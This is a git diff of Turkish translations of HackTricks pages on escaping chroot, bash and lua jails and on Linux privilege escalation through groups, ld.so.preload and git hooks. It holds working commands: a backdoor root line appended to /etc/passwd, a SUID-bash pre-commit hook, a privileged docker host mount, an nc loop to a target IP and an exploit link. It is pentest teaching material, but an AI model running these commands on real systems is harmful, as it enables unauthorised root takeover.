{% endhint %}
Genellikle bir chroot hapishanesi içinde `chroot` binary'sini bulamazsınız, ancak bir binary derleyip yükleyip çalıştırabilirsiniz:
Genellikle bir chroot hapishanesi içinde `chroot` ikili dosyasını bulamazsınız, ancak bir ikili dosya derleyebilir, yükleyebilir ve çalıştırabilirsiniz:
<details>
@ -90,10 +91,10 @@ system("/bin/bash");
```
</details>
### Root + Kaydedilen fd
### Root + Kayıtlı fd
{% hint style="warning" %}
Bu, önceki duruma benzer, ancak bu durumda **saldırgan mevcut dizine bir dosya tanımlayıcısı kaydeder** ve ardından **yeni bir klasörde chroot oluşturur**. Son olarak, chroot dışında **FD'ye erişimi olduğundan**, buna erişir ve **kaçar**.
Bu, önceki duruma benzer, ancak bu durumda **saldırgan bir dosya tanımlayıcısını mevcut dizine kaydeder** ve ardından **yeni bir klasörde chroot oluşturur**. Son olarak, chroot dışında **FD'ye erişimi olduğundan**, ona erişir ve **kaçar**.
{% endhint %}
<details>
@ -124,20 +125,20 @@ chroot(".");
### Root + Fork + UDS (Unix Domain Sockets)
{% hint style="warning" %}
FD, Unix Domain Sockets üzerinden iletilir, bu yüzden:
FD Unix Domain Sockets üzerinden iletilir, bu yüzden:
* Bir çocuk işlem oluştur (fork)
* Parent ve çocuğun iletişim kurabilmesi için UDS oluştur
* Çocuk işlemin farklı bir klasörde chroot çalıştır
* Parent işlemde, yeni çocuk işlem chroot'unun dışında olan bir klasörün FD'sini oluştur
* UDS kullanarak o FD'yi çocuk işleme ilet
* Çocuk işlem o FD'ye chdir yapar ve chroot'un dışında olduğu için hapisten kaçar
* Bir çocuk süreç oluştur (fork)
* Ebeveyn ve çocuğun iletişim kurabileceği UDS oluştur
* Çocuk süreçte farklı bir klasörde chroot çalıştır
* Ebeveyn süreçte, yeni çocuk sürecin chroot'unun dışında olan bir klasörün FD'sini oluştur
* UDS kullanarak o FD'yi çocuk sürece ilet
* Çocuk süreç o FD'ye chdir yapar ve chroot'unun dışında olduğundan hapisten kaçar
{% endhint %}
### Root + Mount
{% hint style="warning" %}
* Root cihazını (/) chroot içindeki bir dizine bağlama
* Kök cihazını (/) chroot içinde bir dizine bağlama
* Bu dizine chroot yapma
Bu Linux'ta mümkündür
@ -146,24 +147,24 @@ Bu Linux'ta mümkündür
### Root + /proc
{% hint style="warning" %}
* Procfs'i chroot içindeki bir dizine bağla (henüz bağlı değilse)
* Farklı bir root/cwd girişi olan bir pid ara, örneğin: /proc/1/root
* Procfs'i chroot içinde bir dizine bağla (henüz bağlı değilse)
* Farklı bir kök/cwd girişi olan bir pid ara, örneğin: /proc/1/root
* Bu girişe chroot yap
{% endhint %}
### Root(?) + Fork
{% hint style="warning" %}
* Bir Fork (çocuk işlem) oluştur ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap
* Parent işleminden, çocuk işleminin bulunduğu klasörü, çocukların chroot'unun öncesindeki bir klasöre taşı
* Bu çocuk işlem, kendisini chroot'un dışında bulacaktır
* Bir Fork oluştur (çocuk süreç) ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap
* Ebeveyn süreçten, çocuk sürecin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı
* Bu çocuk süreç chroot'un dışında bulacaktır kendisini
{% endhint %}
### ptrace
{% hint style="warning" %}
* Kullanıcılar zamanında kendi işlemlerini kendi işlemlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil
* Yine de, mümkünse, bir işleme ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)).
* Kullanıcılar zamanında kendi süreçlerini kendi süreçlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil
* Yine de, mümkünse, bir sürece ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)).
{% endhint %}
## Bash Hapishaneleri
@ -180,20 +181,20 @@ pwd
```
### PATH Değiştirme
PATH ortam değişkenini değiştirip değiştiremediğinizi kontrol edin
PATH ortam değişkenini değiştirip değiştiremeyeceğinizi kontrol edin.
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
### vim Kullanarak
### vim Kullanımı
```bash
:set shell=/bin/sh
:shell
```
### Betik oluştur
Eğer içeriği _/bin/bash_ olan yürütülebilir bir dosya oluşturabilir misiniz kontrol edin.
_/bin/bash_ içeriğine sahip yürütülebilir bir dosya oluşturabilir misiniz kontrol edin
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
@ -245,16 +246,16 @@ Bu sayfada lua içinde erişebileceğiniz global fonksiyonları bulabilirsiniz:
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
Bir kütüphanenin fonksiyonlarını **noktalar kullanmadan çağırmak için bazı hileler**:
Bir kütüphanenin fonksiyonlarını **noktalar kullanmadan çağırmak** için bazı hileler:
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Belirli bir kütüphanenin fonksiyonlarını sırala:
### Kütüphanenin fonksiyonlarını sıralama:
```bash
for k,v in pairs(string) do print(k,v) end
```
Her seferinde önceki tek satırlığı **farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir**. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak brute force saldırısı gerçekleştirebilirsiniz:
Not alın ki her seferinde önceki tek satırlık komutu **farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir**. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak kaba kuvvet saldırısı gerçekleştirebilirsiniz:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@ -265,7 +266,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**Etkileşimli lua kabuğu alın**: Eğer sınırlı bir lua kabuğu içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsız olur):
**Etkileşimli lua kabuğu alın**: Eğer sınırlı bir lua kabuğunun içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsızdır):
```bash
debug.debug()
```
@ -273,16 +274,17 @@ debug.debug()
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slaytlar: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
{% hint style="success" %}
AWS Hacking'ini öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ini öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# İlginç Gruplar - Linux İzin Yükseltme
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}
## Sudo/Yönetici Grupları
### **PE - Yöntem 1**
**Bazen**, **varsayılan olarak (veya bazı yazılımların ihtiyaç duyması nedeniyle)** **/etc/sudoers** dosyasının içinde bu satırlardan bazılarını bulabilirsiniz:
**Bazen**, **varsayılan olarak (veya bazı yazılımların ihtiyaç duyması nedeniyle)** **/etc/sudoers** dosyasının içinde bu tür satırları bulabilirsiniz:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@ -28,7 +29,7 @@ HackTricks'ı desteklemenin diğer yolları:
```
Bu, **sudo veya admin grubuna ait herhangi bir kullanıcının sudo olarak herhangi bir şeyi çalıştırabileceği anlamına gelir**.
Bu durumda, **root olmak için sadece şunu çalıştırabilirsiniz**:
Eğer durum buysa, **root olmak için sadece şunu çalıştırabilirsiniz**:
```
sudo su
```
@ -39,11 +40,11 @@ Tüm suid ikili dosyaları bulun ve **Pkexec** ikilisinin olup olmadığını ko
find / -perm -4000 2>/dev/null
```
Eğer **pkexec** ikili dosyasının bir SUID ikili dosyası olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu tespit ederseniz, muhtemelen `pkexec` kullanarak ikili dosyaları sudo olarak çalıştırabilirsiniz.\
Bu genellikle **polkit politikası** içindeki gruplardır. Bu politika genellikle hangi grupların `pkexec`'i kullanabileceğini belirler. Şununla kontrol edin:
Bu genellikle **polkit politikası** içindeki gruplardır. Bu politika genellikle hangi grupların `pkexec`'i kullanabileceğini belirler. Bunu kontrol etmek için:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Aşağıda, hangi grupların **pkexec**'i çalıştırmasına izin verildiğini ve bazı Linux dağıtımlarında varsayılan olarak **sudo** ve **admin** gruplarının göründüğünü bulacaksınız.
Aşağıda, hangi grupların **pkexec**'i **ve varsayılan olarak** bazı linux dağıtımlarında **sudo** ve **admin** gruplarının göründüğünü bulacaksınız.
**Root olmak için şunu çalıştırabilirsiniz**:
```bash
@ -92,9 +93,9 @@ sudo su
```
## Personel Grubu
**staff**: Kullanıcılara kök ayrıcalıklarına ihtiyaç duymadan sistemdeki (`/usr/local`) yerel değişiklikler eklemelerine izin verir (`/usr/local/bin` dizinindeki yürütülebilir dosyalar, aynı isme sahip `/bin` ve `/usr/bin` dizinlerindeki yürütülebilir dosyaları "geçersiz kılabilir"). İzleme/güvenlik ile daha fazla ilgili olan "adm" grubu ile karşılaştırın. [\[kaynak\]](https://wiki.debian.org/SystemGroups)
**staff**: Kullanıcılara kök ayrıcalıklarına ihtiyaç duymadan sistemde yerel değişiklikler yapma izni verir (`/usr/local`) (not olarak `/usr/local/bin` dizinindeki yürütülebilir dosyalar, aynı isme sahip `/bin` ve `/usr/bin` dizinlerindeki yürütülebilir dosyaları "geçersiz kılabilir"). İzleme/güvenlik ile daha fazla ilgili olan "adm" grubu ile karşılaştırın. [\[kaynak\]](https://wiki.debian.org/SystemGroups)
Debian dağıtımlarında, `$PATH` değişkeni, ayrıcalıklı kullanıcı olup olmadığınıza bakılmaksızın `/usr/local/`'in en yüksek öncelikle çalıştırılacağını gösterir.
Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'in, ayrıcalıklı kullanıcı olup olmadığınıza bakılmaksızın en yüksek önceliğe sahip olacağını gösterir.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -102,7 +103,7 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
Eğer `/usr/local` dizinindeki bazı programları ele geçirebilirsek, kök erişim elde etmek kolay olacaktır.
Eğer `/usr/local` indeki bazı programları ele geçirebilirsek, kök erişim elde etmek kolay olacaktır.
`run-parts` programını ele geçirmek, kök erişim elde etmenin kolay bir yoludur, çünkü birçok program `run-parts` benzeri bir programı çalıştıracaktır (crontab, ssh girişi yapıldığında).
```bash
@ -174,14 +175,22 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**, kullanıcının makinedeki bir terminalde **fiziksel olarak oturum açtığı** anlamına gelir.
**video grubu**, ekran çıktısını görüntüleme iznine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunun için ekranın mevcut görüntüsünü ham veri olarak **almanız** ve ekranın kullandığı çözünürlüğü elde etmeniz gerekir. Ekran verisi `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size` üzerinde bulabilirsiniz.
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunun için ekranın mevcut görüntüsünü ham veri olarak **almanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verisi `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size` üzerinde bulabilirsiniz.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
**Kök Grubu**
**Raw görüntüyü** açmak için **GIMP** kullanabilirsiniz, \*\*`screen.raw` \*\* dosyasını seçin ve dosya türünü **Ham görüntü verisi** olarak seçin:
Varsayılan olarak, kök grubu üyelerinin bazı hizmet yapılandırma dosyalarını veya bazı kütüphane dosyalarını değiştirme erişimine sahip olabileceği veya ayrıcalıkları yükseltmek için kullanılabilecek **diğer ilginç şeyler** olabileceği görünüyor...
![](<../../../.gitbook/assets/image (463).png>)
Ardından Genişlik ve Yüksekliği ekranda kullanılanlara değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranda daha iyi gösterenini seçin):
![](<../../../.gitbook/assets/image (317).png>)
## Kök Grup
Varsayılan olarak **kök grubun üyelerinin**, **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını değiştirme erişimine sahip olabileceği veya ayrıcalıkları yükseltmek için kullanılabilecek **diğer ilginç şeyler** olabileceği görünüyor...
**Kök üyelerin hangi dosyaları değiştirebileceğini kontrol edin**:
```bash
@ -201,18 +210,6 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Son olarak, önceki önerilerden hiçbirini beğenmediyseniz veya bir nedenle çalışmıyorsa (docker api firewall?) her zaman şu işlemi deneyebilirsiniz: **ayrıcalıklı bir konteyner çalıştırın ve ondan kaçın** burada açıklandığı gibi:
{% content-ref url="../docker-security/" %}
[docker-security](../docker-security/)
{% endcontent-ref %}
Docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak ayrıcalıkları yükseltme hakkında bu yazıyı okuyun**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## lxc/lxd Grubu
{% content-ref url="./" %}
@ -221,24 +218,10 @@ Docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kull
## Adm Grubu
Genellikle **`adm`** grubunun **üyeleri** _/var/log/_ dizinindeki **logları okuma** iznine sahiptir.\
Genellikle **`adm`** grubunun **üyeleri** _/var/log/_ dizininde bulunan **logları okuma** iznine sahiptir.\
Bu nedenle, bu gruptaki bir kullanıcıyı ele geçirdiyseniz kesinlikle **loglara bakmalısınız**.
## Auth Grubu
OpenBSD içinde **auth** grubu genellikle _**/etc/skey**_ ve _**/var/db/yubikey**_ dizinlerine yazma iznine sahiptir.\
Bu izinler, aşağıdaki açığı kötüye kullanarak kök ayrıcalıklarına **yükseltilebilir**: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
<details>
<summary><strong>Sıfırdan başlayarak AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
Bu izinler, aşağıdaki açığı kullanarak kök ayrıcalıklarına **yükseltmek** için istismar edilebilir: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)

View file

@ -1,23 +1,24 @@
# Kök Klasöre Dosya Yazma
# Kök Dizinine Dosya Yazma
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunu sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### /etc/ld.so.preload
Bu dosya, **`LD_PRELOAD`** ortam değişkeni gibi davranır ancak aynı zamanda **SUID ikili dosyalarında** da çalışır.\
Eğer bu dosyayı oluşturabilir veya değiştirebilirseniz, her yürütülen ikili dosyayla birlikte yüklenecek bir **kütüphane yolunu ekleyebilirsiniz**.
Oluşturabilir veya değiştirebilirseniz, her yürütülen ikili dosya ile yüklenecek bir **kütüphane yolunu ekleyebilirsiniz**.
Örneğin: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
@ -36,23 +37,40 @@ system("/bin/bash");
```
### Git kancaları
[**Git kancaları**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), bir **dizin** oluşturulduğunda veya bir birleştirme işlemi gerçekleştiğinde gibi bir git deposundaki çeşitli **olaylar** üzerinde **çalıştırılan** **betiklerdir**. Dolayısıyla, bir **özelliği olan betik veya kullanıcı** bu işlemleri sıkça gerçekleştiriyorsa ve `.git` klasörüne **yazma izni** varsa, bu **ağır ayrıcalık yükseltme** için kullanılabilir.
[**Git kancaları**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks), bir taahhüt oluşturulduğunda, birleştirme yapıldığında gibi bir git deposundaki çeşitli olaylarda çalıştırılan **betiklerdir**. Dolayısıyla, bir **ayrıcalıklı betik veya kullanıcı** bu eylemleri sıkça gerçekleştiriyorsa ve `.git` klasörüne **yazma izni** varsa, bu **ayrıcalık yükseltmesi** için kullanılabilir.
Örneğin, bir yeni bir işlem oluşturulduğunda her zaman çalıştırılan bir betik oluşturmak mümkündür:
Örneğin, bir yeni taahhüt oluşturulduğunda her zaman çalıştırılan bir betik oluşturmak mümkündür:
{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Zaman Dosyaları
{% endcode %}
### Cron ve Zaman Dosyaları
TODO
### Servis & Soket Dosyaları
### Servis ve Soket Dosyaları
TODO
### binfmt\_misc
`/proc/sys/fs/binfmt_misc` konumunda bulunan dosya, hangi tür dosyanın hangi ikili dosyanın çalıştırılması gerektiğini belirtir. TODO: Bir yaygın dosya türü açıldığında bir ters shell çalıştırmak için bunu kötüye kullanmak için gereksinimleri kontrol edin.
`/proc/sys/fs/binfmt_misc` konumunda bulunan dosya, hangi ikili dosyanın hangi tür dosyaları çalıştırması gerektiğini gösterir. TODO: Bu dosyayı kötüye kullanmak için gereksinimleri kontrol edin ve yaygın bir dosya türü açıldığında bir ters shell çalıştırmak için bunu nasıl kullanabilirsiniz.
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -3,24 +3,25 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
